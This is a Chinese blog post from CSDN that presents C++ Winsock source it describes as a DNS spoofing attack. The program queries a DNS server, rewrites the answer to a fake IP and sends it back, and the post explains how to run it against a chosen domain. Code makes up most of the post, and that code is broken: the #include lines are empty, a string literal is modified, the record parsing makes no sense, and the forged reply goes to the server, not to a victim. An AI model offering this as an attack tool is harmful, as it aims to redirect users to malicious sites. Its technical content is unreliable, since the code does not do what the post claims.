使用C++实现DNS欺骗攻击

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使用C++实现DNS欺骗攻击-CSDN博客

使用C++实现DNS欺骗攻击

DNS劫持是一种常见的网络攻击方式，通过篡改DNS响应数据，使得用户访问的网站被重定向到攻击者指定的恶意站点。本文将介绍如何使用C++编写一个简单的DNS欺骗程序，并给出相应的源代码。

DNS欺骗原理

在DNS查询过程中，当客户端向DNS服务器请求解析某个域名时，DNS服务器会返回该域名对应的IP地址。攻击者可以伪造DNS响应数据，使得客户端获取到错误的IP地址，从而将其重定向到指定的网站上。

实现代码

我们使用C++编写一个简单的DNS欺骗程序，使得当客户端请求解析特定的域名时，我们可以将其重定向到指定的IP地址。具体的代码如下：

#include 
#include 
#include 
 
#pragma comment(lib, "ws2_32.lib")
 
#define DNS_PORT 53
#define BUF_SIZE 512
 
// DNS头部
typedef struct _DNS_HEADER {
    unsigned short id;
    unsigned short flags;
    unsigned short qcount;
    unsigned short acount;
    unsigned short nscount;
    unsigned short arcount;
} DNS_HEADER, *PDNS_HEADER;
 
// 域名格式化函数
void format_domain_name(char* src, char* dst)
{
    int i, j = 0;
    strcat(src, ".");
    for (i = 0; i < strlen(src); ++i) {
        if (src[i] == '.') {
            *dst++ = i - j;
            for (; j < i; ++j) {
                *dst++ = src[j];
            }
            j++;
        }
    }
    *dst++ = '\0';
}
 
// DNS查询
int dns_query(char* domain_name, char* dns_server_ip, char* fake_ip)
{
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (ret != 0) {
        std::cout << "WSAStartup failed: " << ret << std::endl;
        return -1;
    }
 
    // 创建socket
    SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        std::cout << "Create socket failed: " << WSAGetLastError() << std::endl;
        return -1;
    }
 
    // DNS服务器地址
    sockaddr_in dns_addr;
    memset(&dns_addr, 0, sizeof(sockaddr_in));
    dns_addr.sin_family = AF_INET;
    dns_addr.sin_port = htons(DNS_PORT);
    inet_pton(AF_INET, dns_server_ip, &dns_addr.sin_addr.s_addr);
 
    // 构造DNS查询报文
    char buf[BUF_SIZE];
    memset(buf, 0, BUF_SIZE);
 
    DNS_HEADER* dns_header = (DNS_HEADER*)buf;
    dns_header->id = (unsigned short)GetTickCount();
    dns_header->flags = htons(0x0100);
    dns_header->qcount = htons(1);
 
    char* query = (char*)(dns_header + 1);
    format_domain_name(domain_name, query);
    unsigned short* qtype = (unsigned short*)(query + strlen((const char*)query) + 1);
    *qtype = htons(0x0001);
    unsigned short* qclass = (unsigned short*)(qtype + 1);
    *qclass = htons(0x0001);
 
    // 发送DNS查询
    ret = sendto(sock, buf, sizeof(DNS_HEADER) + strlen((const char*)query) + 5,
        0, (sockaddr*)&dns_addr, sizeof(dns_addr));
    if (ret == SOCKET_ERROR) {
        std::cout << "Send DNS query failed: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        return -1;
    }
 
    // 接收DNS响应
    sockaddr_in from_addr;
    int from_len = sizeof(from_addr);
    ret = recvfrom(sock, buf, BUF_SIZE, 0, (sockaddr*)&from_addr, &from_len);
    if (ret == SOCKET_ERROR) {
        std::cout << "Receive DNS response failed: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        return -1;
    }
 
    // 修改DNS响应
    DNS_HEADER* rsp_header = (DNS_HEADER*)buf;
    unsigned short answer_count = ntohs(rsp_header->acount);
    char* ptr = (char*)(rsp_header + 1);
    bool found = false;
    for (int i = 0; i < answer_count; ++i) {
        if (*ptr == 0xC0 && *(ptr + 2) == 0x01) {
            found = true;
            break;
        }
        ptr++;
    }
    if (found) {
        // 修改IP地址
        unsigned short* type = (unsigned short*)(ptr + 1);
        unsigned short* class_ = (unsigned short*)(type + 1);
        unsigned int* ttl = (unsigned int*)(class_ + 1);
        unsigned short* data_len = (unsigned short*)(ttl + 1);
        unsigned int* ip = (unsigned int*)(data_len + 1);
        *ip = inet_addr(fake_ip);
    } else {
        // 添加一个新的DNS响应
        char* new_rsp = ptr;
        format_domain_name("www.example.com", new_rsp);
        unsigned short* new_type = (unsigned short*)(new_rsp + strlen((const char*)new_rsp) + 1);
        *new_type = htons(0x0001);
        unsigned short* new_class_ = (unsigned short*)(new_type + 1);
        *new_class_ = htons(0x0001);
        unsigned int* new_ttl = (unsigned int*)(new_class_ + 1);
        *new_ttl = htonl(300);
        unsigned short* new_data_len = (unsigned short*)(new_ttl + 1);
        *new_data_len = htons(4);
        unsigned int* new_ip = (unsigned int*)(new_data_len + 1);
        *new_ip = inet_addr(fake_ip);
 
        rsp_header->acount = ntohs(answer_count + 1);
    }
 
    // 发送修改后的DNS响应
    ret = sendto(sock, buf, ret, 0, (sockaddr*)&from_addr, from_len);
    if (ret == SOCKET_ERROR) {
        std::cout << "Send modified DNS response failed: " << WSAGetLastError() << std::endl;
        closesocket(sock);
        return -1;
    }
 
    std::cout << "DNS query sent and response modified." << std::endl;
 
    closesocket(sock);
    WSACleanup();
 
    return 0;
}
 
int main()
{
    // 使用192.168.1.1代替实际的DNS服务器IP
    dns_query("www.example.com", "192.168.1.1", "1.2.3.4");
 
    return 0;
}

使用方法

在DNS查询时，调用dns_query函数并传入相应的参数即可实现DNS欺骗攻击。其中，domain_name表示需要欺骗的域名，dns_server_ip表示实际DNS服务器的IP地址，fake_ip表示需要重定向到的IP地址。

注意事项

本文仅提供学习和研究使用，请勿用于非法用途。在实际应用中，还需要考虑更加复杂的攻击方式和防御措施。